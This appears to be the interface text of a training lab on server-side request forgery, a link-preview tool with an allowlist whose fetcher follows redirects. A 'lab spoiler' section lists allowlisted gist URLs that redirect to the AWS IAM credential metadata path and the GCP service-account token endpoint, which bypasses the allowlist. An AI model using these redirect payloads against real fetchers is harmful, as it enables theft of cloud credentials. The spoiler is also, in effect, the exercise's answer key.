Generate a link preview
URL must be on the allowlist:
example.com · wikipedia.org · gist.githubusercontent.com
Paste a URL and click Preview. Our fetcher follows redirects.
Server response:
(idle)
Available redirect endpoints (lab spoiler)
https://gist.githubusercontent.com/user/redirect-to-aws/raw
→ HTTP 302 → http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role
https://gist.githubusercontent.com/user/redirect-to-gcp/raw
→ HTTP 302 → http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
https://example.com/old-url
→ HTTP 302 → https://example.com/new-url